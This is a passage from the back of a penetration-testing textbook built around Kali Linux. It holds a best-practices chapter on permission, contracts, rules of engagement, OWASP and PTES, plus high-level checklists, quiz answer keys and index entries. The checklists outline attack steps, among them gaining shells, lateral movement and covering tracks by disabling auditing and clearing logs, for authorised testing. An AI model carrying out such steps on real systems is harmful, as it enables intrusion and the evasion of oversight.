your requirements. Be sure to explore the other functions of this amazing tool.
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Summary
Having completed this chapter, you are now able to perform web application penetration
testing, bypass login using SQL injection attacks, find tables in databases and retrieve user
credentials, perform various types of XSS attacks on web applications, and successfully
launch client-side attacks using BeEF.

I hope this chapter will prove helpful to your studies and career. In the next chapter, you'll
be learning about penetration testing best practices.

Questions
The following are some questions based on the topics we have covered in this chapter:

What SQL statement is used to specify a table within a database?1.
How do you close a statement in SQL?2.
How do you add a new record in a database?3.
What tool can perform a client-side attack?4.

Further reading
XSS: https:/ / www. owasp. org/ index. php/ Cross- site_ Scripting_ (XSS)

SQL injection: https:/ /www. owasp.org/ index. php/ SQL_ Injection
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16
Best Practices

Firstly, I would personally like to say congratulations on completing this book! You have
acquired some amazing skills in cybersecurity, particularly in the field of penetration
testing, using one of the most popular penetrating testing Linux distributions available:
Kali Linux. During the course of this title, we focused a lot on the technicalities and
practical aspects of becoming a penetration tester/ethical hacker.

However, there are still the best practices of penetration testing left to cover. Learning
about best practices will help you improve yourself as a professional in the business world.
By following recommended procedures, you'll be able to work effectively and obtain
optimal results in an efficient manner.

In this chapter, we will cover the following topics:

Guidelines for penetration testers
Web application security blueprints and checklists
Website and network checklists

Technical requirements
There are no formal technical requirements for this chapter.

Guidelines for penetration testers
Having the skill set of a hacker, you must be aware of the boundaries between ethical and
criminal activities. Remember, performing any intrusive actions using a computing system
to cause harm to another person or organization is illegal. Therefore, penetration testers
must follow a code of conduct to ensure that they always remain on the right side of the
law at all times.
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In the remainder of this section, we will cover the following key points:

Gaining written permission
Being ethical
Penetration testing contract
Rules of engagement (RoE)
Additional tips and tricks

Let's now have a look at these topics in detail.

Gaining written permission
Before performing a penetration test on a target organization, ensure that you have written
permission from the organization. If additional permission is required from other
authorities, please ensure that you acquire all the legal permission documents. Having
legal, written permission is like having a get-out-of-jail-free card as a penetration tester. The
tasks performed by a penetration tester involve simulating a real-world cyber attack on a
target organization; this means actually hacking into their network by any means possible.
Some attacks can be very intrusive and may cause damage or network outages; the written
permission is used to protect yourself legally.

Being ethical
Always be ethical in all your actions as a professional in the industry. During your time
practicing your penetration testing skills, I'm sure you will have realized that there is a fine
line between being a malicious hacker and a penetration tester. The main difference is that
the penetration tester obtains legal permission prior to performing any sort of attack and
the objective is to help an organization to improve its security posture and decrease the
attack surface that an actual hacker might exploit. Being ethical simply means doing the
right thing and upholding moral principles.

||||||||||||||||||||
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Penetration testing contract
As an upcoming professional in the industry, ensure that you have a properly written
penetration testing contract, inclusive of confidentiality and non-disclosure agreements
(NDAs), reviewed and verified by a lawyer. This is to ensure that client (target
organization) information is protected and that you (the penetration tester) will not disclose
any information about the client unless required by law. Additionally, the NDA builds
trust between the client and you, the penetration tester, as many organizations do not want
their vulnerabilities known to others.

If, during a business meeting with a new client, they ask about previous penetration tests
you have conducted and customer information, do not disclose any details. This would
contravene the NDA, which protects your customers and yourself and builds trust.
However, you can simply outline to the new potential client what you can do for their
organization, the types of test that can be conducted, and some of the tools that may be
used during the testing phases.

Rules of engagement
During your business meeting with the client (target organization), ensure that both you
and the client understand the RoE prior to the actual penetration test. The RoE is simply a
document created by the service provider (penetration tester) that outlines what types of
penetration test are to be conducted, as well as some other specifics. These include the area
of the network to be tested, as well as the targets on the network, such as servers,
networking devices, and workstations. To put it simply, the RoE defines the manner in
which the penetration test should be conducted and indicate any boundaries in relation to
the target organization.

Ensure that you have obtained key contact information for the person within the target
organization in the event that there is an emergency. As a penetration tester, there may be a
crisis and you may need to contact someone for assistance, such as if you are conducting
your tests after working hours within a building.

During a penetration test, if you discover any violations of human rights or illegal activities
on targeted organization systems or networks, stop immediately and report it to the local
authorities (the police). Should you discover a security breach in the network
infrastructure, stop and report it to the person of authority within the organization and/or
the local authorities. As a penetration tester, you need to have good morals and abide by
the law; human rights and safety always come first, and all illegal activities are to be
reported to the necessary authorities.

Technet24
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Additional tips and tricks
Before running any penetration testing tools on a target organization's network, always test
them within a lab environment to determine whether they use a lot of network bandwidth,
as well as to determine the level of noise they create. If a tool uses a lot of bandwidth, it
does not make sense to use the tool on a target organization whose network is slow. The
tool may consume all the bandwidth on a network segment, causing a network choke point;
this is bad.

Use vulnerability scanners to help perform and automate periodic network scans.
Vulnerability scanners can help an organization to meet compliance and standardization.
Tools such as Nessus (www.tenable.com) and Nexpose (www.rapid7.com) are reputable
vulnerability scanners and management tools within the cybersecurity industry.

Additionally, learn about different operating systems such as Windows, Linux, and macOS.
Add some network security topics as part of your learning. Understanding network
security and enterprise networking will help you map a target network and bypass
network security appliances a bit easier.

In the next section, we will take a look at web application security blueprints and checklists.

Web application security blueprints and
checklists
When performing a penetration test on a system or network, a set of approved or
recommended guidelines is used to ensure that the desired outcome is achieved. A
penetrating testing methodology usually consists of the following phases:

Information gathering1.
Scanning and reconnaissance2.
Fingerprinting and enumeration3.
Vulnerability assessment4.
Exploit research and verification5.
Reporting6.
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Following such a checklist ensures that the penetration tester completes all tasks for a phase
before moving onto the next. In this book, we started with the information-gathering phase
and gradually moved on from there. The early chapters covered the early phases and
taught you how to obtain sensitive details about a target, while the later chapters covered
using the information found to gain access to a target using various methods.

In the next section, we will learn about the Open Web Application Security Project
(OWASP) Top 10.

OWASP
The OWASP is a non-profit foundation that focuses on enabling people and communities to
develop, test, and maintain applications that can be trusted by all.

OWASP has created the OWASP Top 10 web vulnerabilities list, which has become a
standard for web application testing:

A1:2017 – Injection
A2:2017 – Broken Authentication
A3:2017 – Sensitive Data Exposure
A4:2017 – XML External Entities (XXE)
A5:2017 – Broken Access Control
A6:2017 – Security Misconfiguration
A7:2017 – Cross-Site Scripting (XSS)
A8:2017 – Insecure Deserialization
A9:2017 – Using Components with Known Vulnerabilities
A10:2017 – Insufficient Logging and Monitoring

Each category provides a detailed breakdown of all vulnerabilities, discovery methods and
techniques, countermeasures, and best practices to reduce risk.

Further information on the OWASP Top 10 Project can be found at
https:/ /www. owasp. org/ index. php/ Category:OWASP_ Top_ Ten_2017_
Project. Additionally, the OWASP Testing Guide can be found at
https:/ /www. owasp. org/ index. php/ OWASP_ Testing_ Project.

Furthermore, always keep practicing to sharpen your skill set in terms of understanding the
OWASP Top 10. The OWASP Broken Web Applications (BWA) project will assist you in
your journey.

Technet24
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In the next section, we will take a look at understanding the phases of the penetration
testing execution standard (PTES).

Penetration testing execution standard
PTES comprises several phases that cover various aspects of penetration testing:

Pre-engagement interactions1.
Intelligence gathering2.
Threat modeling3.
Vulnerability analysis4.
Exploitation5.
Post exploitation6.
Reporting7.

Further information on PTES can be found at http:/ /www.
penteststandard. org/ index. php/Main_ Page.

The choice of penetration testing standard or framework is dependent on the type of testing
requested by the client, the target's industry (such as HIPAA for the health industry), and
even your organization's methodology of penetration testing.

In the following section, we will discuss the importance of the reporting phase.

Reporting
The final phase of a penetration test is reporting and delivering results. In this phase, an
official document is created by the penetration tester outlining the following:

All vulnerabilities found on the targets
All risks, categorized on a scale of high, medium, and low, based on the
Common Vulnerability Scoring System (CVSS) calculator
Recommended methods of remediation for vulnerabilities found
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Ensure that when you are writing your report, it can be understood by anyone who reads
it, including non-technical audiences such as senior management and executive staff
members. The managerial staff is not always technical as they are more focused on
ensuring that business goals and objectives are met within the organization.

The report should also contain the following:

Cover sheet
Executive summary
Summary of vulnerabilities
Test details
Tools used during testing (optional)
The original scope of work
The body of the report
Summary

Further information on penetration testing report writing can be found at
https:/ /resources. infosecinstitute. com/ writing- penetration-
testing- reports/ .

Always remember that if you ask 10 different penetration testers how to write a report, they
all will give different answers based on their experience and their employers. Be sure not to
insert too many images or too many technical terms to confuse the reader. It should be
simple to read for anyone with a non-technical background.

In the following sections, we will outline the fundamentals of creating a penetration testing
checklist.

Penetration testing checklist
I would recommend the following hardware requirements for a penetration testing
machine:

Quad-core processor
8 GB RAM (minimum)
Wireless network adapter
Ethernet network interface card

Next, we will get acquainted with creating an information-gathering checklist.
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Information gathering
The following are the tasks to be performed prior to, and during, the information-
gathering phase:

Get legal permission.1.
Define the scope of the penetration test.2.
Perform information gathering using search engines.3.
Perform Google hacking techniques.4.
Perform information gathering using social networking websites.5.
Perform website footprinting.6.
Perform WHOIS information gathering.7.
Perform DNS information gathering.8.
Perform network information gathering.9.
Perform social engineering.10.

In the next section, we will take a look at a checklist for network scanning.

Network scanning
The following is a list of guidelines for performing network scanning:

Perform host discovery on the network.1.
Perform port scanning to determine services.2.
Perform banner grabbing of target operating systems and ports.3.
Perform vulnerability scanning.4.
Create a network topology of the target network.5.

Next, we will learn about the fundamental requirements for an enumeration checklist.

Enumeration
The following is a list of guidelines for performing enumeration on a target system:

Determine the network range and calculate the subnet mask.1.
Perform host discovery.2.
Perform port scanning.3.
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Perform SMB and NetBIOS enumeration techniques.4.
Perform LDAP enumeration.5.
Perform DNS enumeration.6.

In the next section, we will take a look at an exploitation checklist.

Gaining access
The following is a list of guidelines for gaining access to a network/system:

Perform social engineering.1.
Perform shoulder surfing.2.
Perform various password attacks.3.
Perform network sniffing.4.
Perform Man-in-the-Middle (MITM) attacks.5.
Use various techniques to exploit target systems and get a shell (that is, to gain6.
access via a command line).
Discover other devices using lateral movement.7.
Attempt to escalate privileges on the compromised system.8.

In the next section, we will outline the fundamentals for a covering-tracks checklist.

Covering tracks
The following is a list of guidelines for covering tracks:

Disable auditing features on the system.1.
Clear log files.2.

Having completed this section, you now have the skills necessary to create a full
penetration testing checklist that is suited to your needs.
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Summary
By completing this chapter, you now have a foundational level of understanding of the best
practices of the penetration testing field. The guidelines listed in the later sections of the
chapter will help you in determining the steps to take during a penetration test. Remember:
you are learning – developing your own strategy and techniques will come naturally.
Ensure that you document your techniques and skills as you progress in your career.

I hope this chapter and this book have been helpful and useful for your studies and will
benefit you on your path in cybersecurity. Thank you for your support!

Questions
What is required prior to a penetration test to ensure that the penetration tester is1.
protected?
What type of document is used to outline the job?2.
How can you determine the risk rating of a vulnerability?3.
What is the last phase in penetration testing?4.

Further reading
RoE: https:/ /hub. packtpub. com/ penetration- testing- rules- of-engagement/ .
Penetration testing methodologies:
https://resources.infosecinstitute.com/penetration-testing-methodologi
es-and-standards/.

Additional penetration testing methodologies can be found at
https://www.owasp.org/index.php/Penetration_testing_methodologies.
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The following are some websites that will assist you in determining the severity
of risks and researching threats in the cybersecurity world:

CVE: https:/ /cve.mitre. org/

CVSS: https:/ /www. first. org/ cvss/ 

OWASP: https:/ /www. owasp. org

SANS: https:/ /www.sans. org/ 

Exploit-DB: https:/ /www. exploit- db.com/ 

SecurityFocus: https:/ /www. securityfocus. com/ 

Lastly, always continue learning more and furthering your skills. The following
is a list of certifications that will add value to you as a penetration tester:

Offensive Security Certified Professional (OSCP):
www.offensive-security.com

Certified Ethical Hacker (CEH): www.eccouncil.org
GIAC Certifications: www.giac.org
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Assessments

Chapter 1: Introduction to Hacking
Script kiddie1.
Covering tracks2.
OWASP3.
Black box testing4.
State-sponsored5.

Chapter 2: Setting Up Kali - Part
A type 2 hypervisor1.
Less physical space required, reduced power consumption, and lower costs2.
VMware ESXi, Oracle VirtualBox, and Microsoft Virtual PC3.
Using the dpkg -i <application file> command4.
A guest operating system5.

Chapter 4: Getting Comfortable with Kali
Linux 2019

BackTrack1.
apt-get update2.
apt-get upgrade3.
apt-get install <application name>4.
locate <file>5.
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Chapter 5: Passive Information Gathering
To collect information about the target, such as network and system details and1.
organizational information (company directory and employee details, for
example)
Maltego, Dig, NSlookup, Recon-ng, theHarvester, and Shodan2.
By using the site: <keyword> syntax3.
The Exploit Database4.
whois5.
By using the Sublist3r tool6.

Chapter 6: Active Information Gathering
Resolve hostnames to IP addresses.1.
A DNS zone transfer allows a zone file to be copied from a master DNS server to2.
another server, such as a secondary DNS server.
Nmap.3.
Packet fragmentation.4.
JXplorer.5.

Chapter 7: Working with Vulnerability
Scanners

server nessusd start1.
Payment Card Industry Data Security Standard (PCI DSS)2.
Executive and custom3.
Nikto, Burp Suite, and WPScan4.
WPScan5.
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Chapter 8: Understanding Network
Penetration Testing

macchanger1.
Ad hoc, manage, master, repeater, secondary, and monitor2.
ifconfig3.
airmon-ng check kill4.

Chapter 9: Network Penetration Testing -
Pre-Connection Attacks

airmon-ng1.
ESSID2.
Code 2—previous authentication no longer valid, and code 3—deauthentication3.
leaving
aireplay-ng4.

Chapter 10: Network Penetration Testing -
Gaining Access

Advanced Encryption Standard (AES)1.
Citrix-enum-apps2.
33893.
Ncrack, Hydra, John the Ripper, and Hashcat4.
Authentication Server (Access Control Server)5.
The search command6.
IEEE 802.1x7.
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Chapter 11: Network Penetration Testing -
Post-Connection Attacks

Yersinia1.
getsystem2.
To resolve an IP address to a MAC address3.
Secure Shell (SSH)4.
By using the whoami command5.

Chapter 12: Network Penetration Testing -
Detection and Security

By using data encryption and secure protocols.1.
ARP poisoning.2.
DAI.3.
Telnet sends its packets in plain text and does not support encryption.4.
Using the sniffer-detect script within Nmap.5.

Chapter 13: Client-Side Attacks - Social
Engineering

Eavesdropping1.
Phishing2.
Smishing3.
SET and Ghost Phisher4.
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Chapter 14: Performing Website Penetration
Testing

Apache, IIS, Nginx1.
Dirb, DirBuster2.
HTTP 200 Status code3.
Cross-Site Scripting (XSS)4.
Structured Query Language (SQL) injection5.

Chapter 15: Website Penetration Testing -
Gaining Access 

FROM1.
By using the semi-colon (;)2.
By using the INSERT command3.
BeEF4.

Chapter 16: Best Practices
Written legal permission from the target organization1.
A contract with the RoE2.
By using the CVSS calculator3.
Covering tracks and reporting4.
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If you enjoyed this book, you may be interested in these other books by Packt:

Kali Linux - An Ethical Hacker's Cookbook - Second Edition
Himanshu Sharma

ISBN: 978-1-78995-230-8

Learn how to install, set up and customize Kali for pentesting on multiple
platforms
Pentest routers and embedded devices
Get insights into fiddling around with software-defined radio
Pwn and escalate through a corporate network
Write good quality security reports
Explore digital forensics and memory analysis with Kali Linux

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://www.packtpub.com/in/networking-and-servers/kali-linux-ethical-hackers-cookbook-second-edition
https://technet24.ir
https://technet24.ir
https://technet24.ir


Other Books You May Enjoy

[ 507 ]

Hands-On AWS Penetration Testing with Kali Linux
Benjamin Caudill, Karl Gilbert

ISBN: 978-1-78913-672-2

Familiarize yourself with and pentest the most common external-facing AWS
services
Audit your own infrastructure and identify flaws, weaknesses, and loopholes
Demonstrate the process of lateral and vertical movement through a partially
compromised AWS account
Maintain stealth and persistence within a compromised AWS account
Master a hands-on approach to pentesting
Discover a number of automated tools to ease the process of continuously
assessing and improving the security stance of an AWS infrastructure
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Leave a review - let other readers know what
you think
Please share your thoughts on this book with others by leaving a review on the site that you
bought it from. If you purchased the book from Amazon, please leave us an honest review
on this book's Amazon page. This is vital so that other potential readers can see and use
your unbiased opinion to make purchasing decisions, we can understand what our
customers think about our products, and our authors can see your feedback on the title that
they have worked with Packt to create. It will only take a few minutes of your time, but is
valuable to other potential customers, our authors, and Packt. Thank you!
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8
802.1x network components
   authentication server  323
   authenticator  323
   supplicant  324

A
access
   obtaining  291, 293
Active Directory (AD)  204, 354
Active Directory setup, in Windows Server 2016
   reference link  355
active information gathering  170
Acunetix
   reference link  479
   used, for discovering web vulnerabilities  479,

481, 482, 483, 484
ad-hoc  259
Adaptive Security Appliance (ASA)  162
Address Resolution Protocol (ARP)  327, 388
Address Resolution Protocol (reply)  389
Address Resolution Protocol (request) message 

388

Advanced Encryption Standard (AES)  296
Airgeddon  273
airmon-ng
   used, for enabling monitor mode  261, 262
airodump-ng
   used, for packet sniffing  266, 268, 269
   used, for targeting packet sniffing  269, 270
Amazon Web Services (AWS)  158
Android emulators
   setting up  59, 60, 61, 62
antennas
   power levels  300
ARP poisoning attacks

   about  333
   detecting  389, 390, 391
ARPspoof
   using  334, 335
Assessment tab
   Brute Force  222
   Malware  222
   Web Application  222
   Windows  222
asset
   about  13
   categories  13
   employees  13
   intangible  13
   tangible  13
authentication, authorization, and accounting

(AAA)  304
Authorized Training Centre (ATC)  30
automatic updates
   opting out of  75, 76
AutoScan-Network
   download link  329
   used, for network scanning  329, 330, 331
Azure Files  158

B
BackTrack
   URL  97
bare-metal hypervisor  34
black box  22, 251
black hat hacker  9
Broken Web Applications (BWA)  235, 494
Browser Exploitation Framework (BeEF)
   about  470
   vulnerable page visitors, hooking  470, 472, 473,

474, 476
brute force
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   Intruder, using  241, 242, 244, 245, 247
burned-in address (BIA)  252
Burp Suite
   about  235, 236, 237, 239, 240, 278
   Intruder, used for brute force  241, 242, 244,

245, 247
   reference link  235
   used, for discovering server vulnerabilities  477,

478, 479
   used, for scanning server vulnerabilities  476

C
Certificate Authorities (CAs)  446
Citrix
   penetration testing, performing  315, 316
clients
   deauthenticating, on wireless network  270, 271,

272

cloud penetration testing  24, 25
cloud resources
   data leaks, searching  158, 159, 160
code execution vulnerabilities
   exploiting  443, 444
command-line interface (CLI)  103, 308
Common Vulnerabilities and Exposures (CVEs)
   about  54, 216
   reference link  378
Common Vulnerability Scoring System (CVSS) 

495

   about  225
   URL  226
complex passwords
   about  301
   characteristics  301
computer-based social engineering
   about  403
   attacks  403
   forms  403
   phishing  403
   spear phishing  404
confidentiality  492
consulting services agreement (CSA)  16
content management systems (CMSes)  230
Counter Mode with Cipher Block Chaining Message

Authentication Code Protocol (CCMP)  296

Cross-Site Request Forgery (CSRF)  433
Cross-Site Scripting (XSS)  433
Cross-Site Scripting (XSS) vulnerabilities
   about  465, 466
   exploiting  470, 472, 473
Cross-Site Scripting vulnerabilities
   exploiting  474, 476
crunch tool
   about  234
   using  297, 298
cryptography  432, 433
CSRF attack  435, 436
CVE Reference Map, for Source OSVDB
   reference link  230
cyber terrorist  11, 12
cybersecurity, terminology
   asset  13
   exploit  14
   exploring  12
   hack value  15
   risk  14
   threat  12
   vulnerability  13
   zero-day attack  14

D
Damn Vulnerable Web Application (DVWA)  346,

445

data leaks
   searching, in cloud resources  158, 159, 160
Denial-of-Service (DoS)  199, 274
deserialization  437
detection
   evading, with Nmap  191
DHCP ACK packet  353
DHCP Offer packet  353
DHCP Request  353
Discovery tab
   Host Discovery  221
   Port Scanning  221
   Service Discovery  221
DNS analysis
   performing, with host utility  178
DNS enumeration  175
   performing, with dnsenum  175, 177
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DNS interrogation  171
   Fierce, using  180
DNS zone transfer  175
dnsmap
   about  179
   used, for finding subdomains  179, 180
domain controller (DC)  354
Domain Name Server (DNS)  79
Domain Name System (DNS)
   about  171, 230
   need for, on network  171, 172, 175
doxing  409
Dynamic ARP inspection  395, 396
Dynamic Host Configuration Protocol (DHCP)

attacks  45, 231, 349, 350, 351, 353

E
encryption  393, 395
End User License Agreement (EULA)  73, 479
enterprise wireless networks
   securing  302
Enum4linux  203
enumeration
   with EyeWitness  209, 210
EternalBlue vulnerability  292
EternalBlue
   about  312
   exploitation  311
evasion techniques, in Metasploit 5.0
   reference link  98
evil twin
   creating  273, 274, 275, 276, 277, 278
Exploit Database
   reference link  377, 378
   URL  162
Extended Service Set Identifier (ESSID)  267
Extensible Authentication Protocol (EAP)  302
EyeWitness package
   reference link  211
EyeWitness
   about  209
   download link  209
   enumeration  209, 210
   web footprints  209, 210

F
Fierce  175
   using, in DNS interrogation  180
file inclusion
   vulnerabilities  433
File Transfer Protocol (FTP)  308
file upload vulnerabilities
   about  433
   exploiting  439, 440, 442, 443
find command  109, 110, 111
firewalls
   evading, with Nmap  192
footprinting  118, 119, 120

G
Ghost Phisher  414, 415
Google Cloud Platform (GCP)  158
Google Cloud Storage  158
Google dorks  161
Google hacking  160, 161, 162, 163
Google Hacking Database (GHD)
   about  162
   reference link  162
graphical user interface (GUI)  77, 103, 196, 235,

303, 315, 414
gratuitous ARP response  333
gray box  22, 251
gray hat hacker  10
Group Policy Objects (GPOs)  354

H
Hacker News
   URL  147
hacker, types
   black hat hacker  9
   cyber terrorist  11, 12
   gray hat hacker  10
   script kiddie  11
   state-sponsored hacker  11
   suicide hacker  10
   white hat hacker  9, 10
hacker
   about  8
   types  8, 9
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hacking, phases
   about  25
   access, maintaining  27
   access, obtaining  27
   information, obtaining  26
   reconnaissance  26
   scanning  26
   tracks, covering  28
hard disk drive (HDD)  73
Hashcat
   about  358
   URL  272
host devices
   scanning, with ICMP disabled  188
host utility
   used, to perform DNS analysis  178
Hping3
   about  199, 200, 201
   tasks  199
HTTrack
   about  165, 166
   URL  165
   used, for copying websites  163
human-based social engineering
   about  402
   dumpster diving  403
   eavesdropping  402
   shoulder surfing  402
Hydra
   about  318
   reference link  318
Hypertext Transfer Protocol (HTTP) service
   managing  112, 113, 114
hypervisors
   about  33, 34
   type 1 hypervisor  34, 35
   type 2 hypervisor  36, 37

I
information
   gathering  327
insecure deserialization  437
Insecure Direct Object Reference (IDOR)  439
inSSIDer
   reference link  300

Institute of Electrical and Electronics Engineers
(IEEE)  252

internal PCI network scan  218
Internet Assigned Numbers Authority (IANA)
   about  112
   reference link  112
Internet Control Message Protocol (ICMP)  188
Internet of Things (IoT)  146
Internet Protocol (IP)  252
Internet Service Provider (ISP)  148
Intrusion Detection System (IDS)  24, 250, 364
Intrusion Prevention System (IPS)  24, 250

J
John the Ripper
   using  358
JXplorer
   about  204
   URL  204

K
Kali Linux, release notes
   reference link  108
Kali Linux
   about  97
   advantages  97
   basics  99
   commands  99, 100, 101
   downloadable link  38
   find command  109, 110, 111
   locate command  109
   locate commands  109
   navigating in  101, 102, 103, 104, 105
   programs, installing  105, 106, 107, 108
   services, managing  112, 113, 114
   setting up  47, 48, 49, 50, 51
   sources, updating  105, 106, 107, 108
   Terminal  99, 100, 101
   troubleshooting  91, 92, 93, 94, 95
   upgrading  98
   URL  47
   which command  109, 110
   wireless adapter, connecting to  255, 256, 257,

258
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L
LAN Manager (LM)  314
LAN Turtle  322
LastPass
   reference link  301
lateral movement
   about  378, 379
   performing, Metasploit used  379, 381
   tactics  378
LDAP enumeration  201, 204, 205, 206
LDAPS (LDAP Secure)  204
LFI vulnerabilities
   exploiting  445, 446
Lightweight Directory Access Protocol (LDAP)  204
Link-Local Multicast Name Resolution (LLMNR)
   exploiting  354, 355, 357, 358
Linux ARM image
   reference link  323
Linux Unified Key Setup (LUKS)  47
local area network (LAN)  388
locate command  109

M
MAC address
   about  252, 253
   spoofing  254, 255
MAC filtering  300, 304
Maltego  124, 125, 126, 127, 128, 129, 130, 131,

132, 133, 423
Man-in-the-Middle (MITM) attacks  292, 326, 498
master mode  259
master zone records  177
Media Access Control (MAC)  388
message of the day (MOTD)  375
Metasploit auxiliary modules  211, 212
Metasploit Framework (MSF)  312
Metasploit
   about  318
   used, for exploiting vulnerable perimeter systems 

306, 308, 309, 310, 311
Metasploitable 2
   installing  62, 63, 64
Metasploitable
   about  346

   download link  38
Microsoft Azure  158
Microsoft Evaluation Center
   reference link  38
misconfigurations  438
MITM attacks
   about  333, 334
   ARPspoof, using  334, 335
   MITMf, using  335, 336
   using, in Wireshark  362
MITM remediation techniques
   about  393
   Dynamic ARP inspection  395, 396
   encryption  393, 395
MITMf
   keylogger  338
   Screen Capture  338
   use cases  337, 338, 339
   using  335, 336
mobile application penetration testing  23
mobile-based social engineering  404
monitor (sniffer) interface
   configuring  365, 366, 367
monitor mode  259
   enabling, manually  260, 261
   enabling, with airmon-ng  261, 262

N
NAC
   bypassing  323, 324
name servers (NSes)  133, 175
National Institute of Standards and Technology

(NIST)  20, 302
Nessus Home edition  55
Nessus results
   analyzing  226, 227, 228
   exporting  223, 224, 225
Nessus
   about  54, 55, 216, 217
   installing  55, 56, 57, 58, 59
   policies  216, 217, 218
   reference link  493
   used, for scanning  219, 220, 222
Netcraft
   power  154, 156
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   URL  154
   using  154
Netdiscover
   used, for network scanning  327, 329
netstat tool  221
NetStumbler
   reference link  300
Network Basic Input/Output System name service

(NetBIOS-NS)
   exploiting  354, 355, 357, 358
network implants  321
network interface card (NIC)
   about  34, 328
   adding, to virtual machine (VM)  80, 81, 82, 83
network mapper (Nmap)  98
network operation center (NOC)  391
network penetration testing
   about  24, 250
   black box  251
   grey box  251
   steps  251
   types  251
   white box  251
Network Protocol – NetNTLMv2  358
network scanning
   AutoScan-Network, using  329, 330, 331
   Netdiscover, using  327, 329
   Zenmap, using  331, 333
network sniffer  397
network
   Domain Name System (DNS), need for  171,

172, 175
   securing, from attacks  298
   securing, with wireless security settings

configuration  302, 304, 305
Nexpose
   reference link  493
Nikto
   about  229, 230
   features  229
   reference link  230
Nmap Scripting Engine (NSE)  194
Nmap
   about  183, 185
   features  184

   used, for evading detection  191, 192
   used, for evading firewalls  192
   used, for obtaining operating system  186, 187
   used, for obtaining service versions  186, 187
   used, for performing ping sweep  185, 186
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non-disclosure agreements (NDAs)  16, 492
non-persistent attack  435
NSE documentation
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NSE scripts
   about  195, 196
   categories  195
null sessions  201, 207

O
Offensive Security
   reference link  47
   URL  162
open source intelligence (OSINT)  117, 121, 122,

123, 169
Open Source Security Testing Methodology Manual

(OSSTMM)  21
Open Source Vulnerability Database (OSVDB) 

230

Open Systems Interconnection (OSI)  252
Open Vulnerability Assessment System

(OpenVAS)  107
Open Web Application Security Project (OWASP)
   about  20, 494, 495
   URL  39
operating system
   obtaining, with Nmap  186, 187, 188
operating systems  38
Oracle VM VirtualBox
   downloading  40
   installing  40, 41
organizational unique identifier (OUI)  252
OSINT tools
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   theHarvester, using  144, 145, 146
   using  124
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OWASP Testing Guide
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   used, for discovering web vulnerabilities  485,

486, 487, 488
OWASP, web application security risks
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   downloadable link  38
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packet sniffing
   targeting, with airodump-ng  269, 270
   with airodump-ng  266, 268, 269
Packet Squirrel  321
passive information gathering  121
password spraying attack
   performing  278, 279, 280, 281
Paterva
   URL  124
Payment Card Industry (PCI)  54
Payment Card Industry Data Security Standard

(PCI DSS)  218
penetration testers
   guidelines  490, 491
   rules of engagement (RoE)  492
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   tricks  493
penetration testing contract  492
penetration testing execution standard (PTES)
   about  495
   URL  495
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   overview  31
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   Open Web Application Security Project

(OWASP)  20
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penetration testing, phases
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   information, gathering  17, 18
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   vulnerability analysis  18
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   performing, on RDP-based remote access
systems  315

   reporting  495, 496
   stages  420
pentestlab.local domain
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phases, penetration testing
   report writing  19
phone-based social engineering  405
phreaking  8
physical penetration testing  25
point-of-contacts (POCS)  138
POST
   SQL injection (SQLi), discovering with  460, 461,

462, 463, 464
PostgreSQL  307
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Interface  383
   used, for removing Windows Defender virus
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